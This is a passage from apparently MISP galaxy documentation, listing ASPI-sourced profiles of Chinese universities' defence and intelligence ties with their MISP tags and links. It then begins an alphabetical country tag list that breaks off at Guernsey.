SEU is a leading Chinese university that engages in high levels of defence research. In 2015, the university undertook RMB180m (AUD37m) of defence research projects, placing it among the Ministry of Education universities most involved in defence research. That figure has almost certainly grown since 2016, when SEU came under a ‘joint construction’ agreement between the Ministry of Education and defence industry agency SASTIND. The university has secret security credentials, enabling it to participate in secret defence projects.The university has also been linked to cyberespionage. Researchers at its School of Cyber Science and Engineering (网络空间安全学院) have been funded by the MSS, China’s civilian intelligence agency. The School of Cyber Science and Engineering has close ties to TopSec, a Chinese information security company that trains, recruits and works with PLA cyber security officers.SEU states that its defence research relies on its excellence in electronics. It has at least two laboratories that specialise in defence research on navigation technology and underwater acoustics. Both laboratories may be involved in developing technology for underwater warfare. Representatives from the PLA Navy’s Submarine Academy visited SEU in 2017.SEU has also built relationships with state-owned defence conglomerates. In 2017, the university signed a strategic cooperation agreement with missile-manufacturer China Aerospace Science and Industry Corporation. In 2018 and 2019, it signed similar agreements with subsidiaries of China Electronics Technology Group Corporation, China’s leading manufacturer of military electronics.

The tag is: misp-galaxy:china-defence-universities="Southeast University (东南大学)"

Table 688. Table References
Links
https://unitracker.aspi.org.au/universities/southeast-university

Southwest University of Science and Technology (西南科技大学)

SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China’s nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research.SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university’s main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste.SWUST has worked closely with the Chinese Academy of Engineering Physics (China’s nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province’s ‘Civil-military Integration Institute’ is a testament to its integration with the military and defence industry.

The tag is: misp-galaxy:china-defence-universities="Southwest University of Science and Technology (西南科技大学)"

Table 689. Table References
Links
https://unitracker.aspi.org.au/universities/southwest-university-of-science-and-technology

Space Engineering University (中国人民解放军战略支援部队航天工程大学)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (装备学院). SEU describes itself as a ‘comprehensive university that trains talents for space command management and engineering.’ It is intended to serve as the ‘cradle of the new PLA’s space talent training.’ The SEU is subordinate to and supports the PLA Strategic Support Force’s Space Systems Department (航天系统部), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department.The SEU offers degree programs at the undergraduate, master’s, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors.Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.

The tag is: misp-galaxy:china-defence-universities="Space Engineering University (中国人民解放军战略支援部队航天工程大学)"

Table 690. Table References
Links
https://unitracker.aspi.org.au/universities/space-engineering-university

Special Police Academy (中国武装警察部队特种警察学院)

SPA is made up of departments for training, political work and logistics. As such, SPA engages in little defence research and focusses its activities on training special operations paramilitary troops in command processes.

The tag is: misp-galaxy:china-defence-universities="Special Police Academy (中国武装警察部队特种警察学院)"

Table 691. Table References
Links
https://unitracker.aspi.org.au/universities/special-police-academy

Sun Yat-sen University (中山大学)

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it come under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU’s involvement in the defence industry and defence research is growing.The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million).SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (国家超级计算广州中心), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world’s fastest from 2013 to 2015.Aside from the supercomputer center, SYSU’s Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology.In 2010, the university established a State Secrets Academy (国家保密学院), serving as the third university in China to establish such an institute in partnership with China’s National Administration of State Secrets Protection (国家保密局). The Institute carries out research and training on the protection of state secrets.

The tag is: misp-galaxy:china-defence-universities="Sun Yat-sen University (中山大学)"

Table 692. Table References
Links
https://unitracker.aspi.org.au/universities/sun-yat-sen-university

Tianjin Polytechnic University (天津工业大学)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university’s development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects.Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU’s School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China’s textile industry.

The tag is: misp-galaxy:china-defence-universities="Tianjin Polytechnic University (天津工业大学)"

Table 693. Table References
Links
https://unitracker.aspi.org.au/universities/tianjin-polytechnic-university

Tianjin University (天津大学)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of ‘secret’. It hosts two defence laboratories, working on optoelectronics and propellants.In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team.TJU carries out research for the Ministry of State Security (MSS), China’s civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.

The tag is: misp-galaxy:china-defence-universities="Tianjin University (天津大学)"

Table 694. Table References
Links
https://unitracker.aspi.org.au/universities/tianjin-university

Tongji University (同济大学)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea geology, which plays an important role in China’s deep-sea observation and serves as a significant platform for the country’s marine strategy.The university’s involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China’s marine industry.Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: misp-galaxy:china-defence-universities="Tongji University (同济大学)"

Table 695. Table References
Links
https://unitracker.aspi.org.au/universities/tongji-university

Tsinghua University (清华大学)

Tsinghua University is considered China’s leading university in science and technology. Often characterized as ‘China’s MIT,’ Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China’s C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields.Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its ‘fine tradition’ of serving China’s national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector.Tsinghua’s defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science.The university trains students for China’s nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program. In 2016, CAEP’s Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing.Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government’s National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA’s Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

The tag is: misp-galaxy:china-defence-universities="Tsinghua University (清华大学)"

Table 696. Table References
Links
https://unitracker.aspi.org.au/universities/tsinghua-university

University of Electronic Science and Technology of China (电子科技大学)

UESTC was established in 1961 as one of China’s first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military’s leading electronics manufacturer, China Electronics Technology Group Corporation (CETC).The university is one of China’s leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them.UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy’s aircraft carrier program.UESTC’s defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectric imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million).UESTC’s research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps.UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC’s primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to developUESTC’s capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

The tag is: misp-galaxy:china-defence-universities="University of Electronic Science and Technology of China (电子科技大学)"

Table 697. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-electronic-science-and-technology-of-china

University of International Relations (国际关系学院)

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities.Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (中国现代国际关系研究院). They include Geng Huichang (耿惠昌), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate.UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence.The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

The tag is: misp-galaxy:china-defence-universities="University of International Relations (国际关系学院)"

Table 698. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-international-relations

University of Science and Technology Beijing (北京科技大学)

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research.USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates. The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team.The university holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence technology projects.

The tag is: misp-galaxy:china-defence-universities="University of Science and Technology Beijing (北京科技大学)"

Table 699. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-beijing

University of Science and Technology of China (中国科学技术大学)

The University of Science and Technology of China is among China’s most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue “even more outstanding achievements in teaching and innovation.” It is a member of the C9 League and in the “211 Project” and “985 Project.” While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

The tag is: misp-galaxy:china-defence-universities="University of Science and Technology of China (中国科学技术大学)"

Table 700. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-science-and-technology-of-china

University of Shanghai for Science and Technology (上海理工大学)

USST describes itself as a ‘university with defence characteristics’. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016.It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million).SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university’s defence research focuses on these areas.In 2017, The university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

The tag is: misp-galaxy:china-defence-universities="University of Shanghai for Science and Technology (上海理工大学)"

Table 701. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-shanghai-for-science-and-technology

University of South China (南华大学)

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate.USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: misp-galaxy:china-defence-universities="University of South China (南华大学)"

Table 702. Table References
Links
https://unitracker.aspi.org.au/universities/university-of-south-china

Wuhan University (武汉大学)

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’.WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system.Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.

The tag is: misp-galaxy:china-defence-universities="Wuhan University (武汉大学)"

Table 703. Table References
Links
https://unitracker.aspi.org.au/universities/wuhan-university

Wuhan University of Technology (武汉理工大学)

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials.The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. ‘In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (空军级军民融合式空防工程建设科技创新平台合作协议)’. The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (空军级空防工程建设科技创新平台), with ‘the goal of innovating mutually beneficial technologies.’

The tag is: misp-galaxy:china-defence-universities="Wuhan University of Technology (武汉理工大学)"

Table 704. Table References
Links
https://unitracker.aspi.org.au/universities/wuhan-university-of-technology

Xi’an Jiaotong University (西安交通大学)

XJTU is subordinate to the Ministry of Education. It is also supervised by SASTIND as part of a program to develop defense research capabilities within Chinese universities. The university describes its strategy as being ‘based in Shaanxi, geared toward the needs of the nation, and serving the national defense industry.’The university is advanced in its implementation of military-civil fusion and has established strategic partnerships with China Aerospace Science and Technology Corporation, China Aerospace Science and Industry Corporation, and the Aero Engine Corporation of China. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Xi’an Jiaotong University (西安交通大学)"

Table 705. Table References
Links
https://unitracker.aspi.org.au/universities/xian-jiaotong-university

Xi’an Technological University (西安工业大学)

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links.The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons systems. It holds secret-level security credentials.XATU is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

The tag is: misp-galaxy:china-defence-universities="Xi’an Technological University (西安工业大学)"

Table 706. Table References
Links
https://unitracker.aspi.org.au/universities/xian-technological-university

Xi’an University of Posts and Telecommunications (西安邮电大学)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT’s faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering.XUPT maintains close links to China’s Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS’s local counterparts.In November 2013, XUPT partnered with the Shaanxi Municipal Government’s public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (公安部电子信息现场勘验应用技术重点实验室). This was the first such joint laboratory that the MPS established with a university in any of China’s five north-western provinces.XUPT partnered with Xi’an’s Yanta District Public Security Bureau branch in November 2018, establishing the ‘Joint Laboratory for Smart Public Security Information Analysis and Applications’ (公安信息智能分析及应用联合实验室). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

The tag is: misp-galaxy:china-defence-universities="Xi’an University of Posts and Telecommunications (西安邮电大学)"

Table 707. Table References
Links
https://unitracker.aspi.org.au/universities/xian-university-of-posts-and-telecommunications

Xiamen University (厦门大学)

XMU is one of China’s leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supevision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to ‘upgrade the university’s ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.’In 2017, XMU allegedly conspired with Huawei to steal trade secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company’s solid-state drive computer storage technology.The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (福建立恒涂料有限公司) and People’s Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (海西立恒新材料研究院). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

The tag is: misp-galaxy:china-defence-universities="Xiamen University (厦门大学)"

Table 708. Table References
Links
https://unitracker.aspi.org.au/universities/xiamen-university

Xiangtan University (湘潭大学)

XTU is a university in Chairman Mao Zedong’s hometown that has substantially expanded its participation in defence research in recent years. It has been subject to two ‘joint construction’ agreements between the Hunan Provincial Government and defence industry agency SASTIND that are designed to help the university ‘draw out its national defence characteristics’. In the university’s own words, its ‘military-civil fusion characteristics are becoming clearer with each day’, and it increased its spending on military-related projects by 60% from 2017 to 2018, spending over RMB31 million (AUD6 million) in 2018.XTU’s defence research covers areas including materials science, energy, measurement technology and electromagnetic waves. The university has developed partnerships with a major PLA nuclear technology research institution, Northwest Institute of Nuclear Technology, and several defence companies, including subsidiaries of arms manufacturer Norinco Group and defence aviation conglomerate Aero Engine Corporation of China.XTU holds secret-level security credentials, allowing it to participate in classified defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Xiangtan University (湘潭大学)"

Table 709. Table References
Links
https://unitracker.aspi.org.au/universities/xiangtan-university

Xidian University (西安电子科技大学)

Xidian Univeristy is among China’s top universities for research on antennas, radar, electronic countermeasures and computer science. The university is subordinate to the Ministry of Education and is also jointly supervised by defence industry agency SASTIND and defence electronics conglomerate CETC. It claims it has ‘made important contributions to military modernisation’.The university is closely tied to China’s defense industry and the PLA. It runs at least five defence laboratories and partners with the PLA’s signals intelligence organization. Xidian appears to be an important training ground for Chinese military hackers. According to Xidian’s party secretary, the university has had an ‘unbreakable bond with secret intelligence work since its beginning’. It also holds secret-level security credentials that allow it to work on classified weapons projects.

The tag is: misp-galaxy:china-defence-universities="Xidian University (西安电子科技大学)"

Table 710. Table References
Links
https://unitracker.aspi.org.au/universities/xidian-university

Yanshan University (燕山大学)

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND.YSU’s Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering.The university holds secret-level security credentials.

The tag is: misp-galaxy:china-defence-universities="Yanshan University (燕山大学)"

Table 711. Table References
Links
https://unitracker.aspi.org.au/universities/yanshan-university

Yunnan Normal University (云南师范大学)

YNNU is a Chinese university subordinate to the Yunnan Provincial Government. Since 2013 it has also been supervised by the Ministry of Education. The university has been focused on training teacher since its inception as the Kunming Teachers College (昆明示范学院) in 1950. YNNU now has a broader focus on a variety of humanities, social and natural science disciplines.YNNU is organised into numerous faculties, some of which are relevant for communist party cadre training:

The tag is: misp-galaxy:china-defence-universities="Yunnan Normal University (云南师范大学)"

Table 712. Table References
Links
https://unitracker.aspi.org.au/universities/yunnan-normal-university

Zhejiang University (浙江大学)

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepend the university’s involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects.The university’s total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (国家重点实验室) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China’s civilian intelligence agency.ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

The tag is: misp-galaxy:china-defence-universities="Zhejiang University (浙江大学)"

Table 713. Table References
Links
https://unitracker.aspi.org.au/universities/zhejiang-university

Country

Country meta information based on the database provided by geonames.org..

Country is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: geonames.org

andorra

Andorra

The tag is: misp-galaxy:country="andorra"

united arab emirates

United Arab Emirates

The tag is: misp-galaxy:country="united arab emirates"

afghanistan

Afghanistan

The tag is: misp-galaxy:country="afghanistan"

antigua and barbuda

Antigua and Barbuda

The tag is: misp-galaxy:country="antigua and barbuda"

anguilla

Anguilla

The tag is: misp-galaxy:country="anguilla"

albania

Albania

The tag is: misp-galaxy:country="albania"

armenia

Armenia

The tag is: misp-galaxy:country="armenia"

angola

Angola

The tag is: misp-galaxy:country="angola"

antarctica

Antarctica

The tag is: misp-galaxy:country="antarctica"

argentina

Argentina

The tag is: misp-galaxy:country="argentina"

american samoa

American Samoa

The tag is: misp-galaxy:country="american samoa"

austria

Austria

The tag is: misp-galaxy:country="austria"

australia

Australia

The tag is: misp-galaxy:country="australia"

aruba

Aruba

The tag is: misp-galaxy:country="aruba"

aland islands

Aland Islands

The tag is: misp-galaxy:country="aland islands"

azerbaijan

Azerbaijan

The tag is: misp-galaxy:country="azerbaijan"

bosnia and herzegovina

Bosnia and Herzegovina

The tag is: misp-galaxy:country="bosnia and herzegovina"

barbados

Barbados

The tag is: misp-galaxy:country="barbados"

bangladesh

Bangladesh

The tag is: misp-galaxy:country="bangladesh"

belgium

Belgium

The tag is: misp-galaxy:country="belgium"

burkina faso

Burkina Faso

The tag is: misp-galaxy:country="burkina faso"

bulgaria

Bulgaria

The tag is: misp-galaxy:country="bulgaria"

bahrain

Bahrain

The tag is: misp-galaxy:country="bahrain"

burundi

Burundi

The tag is: misp-galaxy:country="burundi"

benin

Benin

The tag is: misp-galaxy:country="benin"

saint barthelemy

Saint Barthelemy

The tag is: misp-galaxy:country="saint barthelemy"

bermuda

Bermuda

The tag is: misp-galaxy:country="bermuda"

brunei

Brunei

The tag is: misp-galaxy:country="brunei"

bolivia

Bolivia

The tag is: misp-galaxy:country="bolivia"

bonaire, saint eustatius and saba

Bonaire, Saint Eustatius and Saba

The tag is: misp-galaxy:country="bonaire, saint eustatius and saba "

brazil

Brazil

The tag is: misp-galaxy:country="brazil"

bahamas

Bahamas

The tag is: misp-galaxy:country="bahamas"

bhutan

Bhutan

The tag is: misp-galaxy:country="bhutan"

bouvet island

Bouvet Island

The tag is: misp-galaxy:country="bouvet island"

botswana

Botswana

The tag is: misp-galaxy:country="botswana"

belarus

Belarus

The tag is: misp-galaxy:country="belarus"

belize

Belize

The tag is: misp-galaxy:country="belize"

canada

Canada

The tag is: misp-galaxy:country="canada"

cocos islands

Cocos Islands

The tag is: misp-galaxy:country="cocos islands"

democratic republic of the congo

Democratic Republic of the Congo

The tag is: misp-galaxy:country="democratic republic of the congo"

central african republic

Central African Republic

The tag is: misp-galaxy:country="central african republic"

republic of the congo

Republic of the Congo

The tag is: misp-galaxy:country="republic of the congo"

switzerland

Switzerland

The tag is: misp-galaxy:country="switzerland"

ivory coast

Ivory Coast

The tag is: misp-galaxy:country="ivory coast"

cook islands

Cook Islands

The tag is: misp-galaxy:country="cook islands"

chile

Chile

The tag is: misp-galaxy:country="chile"

cameroon

Cameroon

The tag is: misp-galaxy:country="cameroon"

china

China

The tag is: misp-galaxy:country="china"

colombia

Colombia

The tag is: misp-galaxy:country="colombia"

costa rica

Costa Rica

The tag is: misp-galaxy:country="costa rica"

cuba

Cuba

The tag is: misp-galaxy:country="cuba"

cabo verde

Cabo Verde

The tag is: misp-galaxy:country="cabo verde"

curacao

Curacao

The tag is: misp-galaxy:country="curacao"

christmas island

Christmas Island

The tag is: misp-galaxy:country="christmas island"

cyprus

Cyprus

The tag is: misp-galaxy:country="cyprus"

czechia

Czechia

The tag is: misp-galaxy:country="czechia"

germany

Germany

The tag is: misp-galaxy:country="germany"

djibouti

Djibouti

The tag is: misp-galaxy:country="djibouti"

denmark

Denmark

The tag is: misp-galaxy:country="denmark"

dominica

Dominica

The tag is: misp-galaxy:country="dominica"

dominican republic

Dominican Republic

The tag is: misp-galaxy:country="dominican republic"

algeria

Algeria

The tag is: misp-galaxy:country="algeria"

ecuador

Ecuador

The tag is: misp-galaxy:country="ecuador"

estonia

Estonia

The tag is: misp-galaxy:country="estonia"

egypt

Egypt

The tag is: misp-galaxy:country="egypt"

western sahara

Western Sahara

The tag is: misp-galaxy:country="western sahara"

eritrea

Eritrea

The tag is: misp-galaxy:country="eritrea"

spain

Spain

The tag is: misp-galaxy:country="spain"

ethiopia

Ethiopia

The tag is: misp-galaxy:country="ethiopia"

finland

Finland

The tag is: misp-galaxy:country="finland"

fiji

Fiji

The tag is: misp-galaxy:country="fiji"

falkland islands

Falkland Islands

The tag is: misp-galaxy:country="falkland islands"

micronesia

Micronesia

The tag is: misp-galaxy:country="micronesia"

faroe islands

Faroe Islands

The tag is: misp-galaxy:country="faroe islands"

france

France

The tag is: misp-galaxy:country="france"

gabon

Gabon

The tag is: misp-galaxy:country="gabon"

united kingdom

United Kingdom

The tag is: misp-galaxy:country="united kingdom"

grenada

Grenada

The tag is: misp-galaxy:country="grenada"

georgia

Georgia

The tag is: misp-galaxy:country="georgia"

french guiana

French Guiana

The tag is: misp-galaxy:country="french guiana"

guernsey

Guernsey

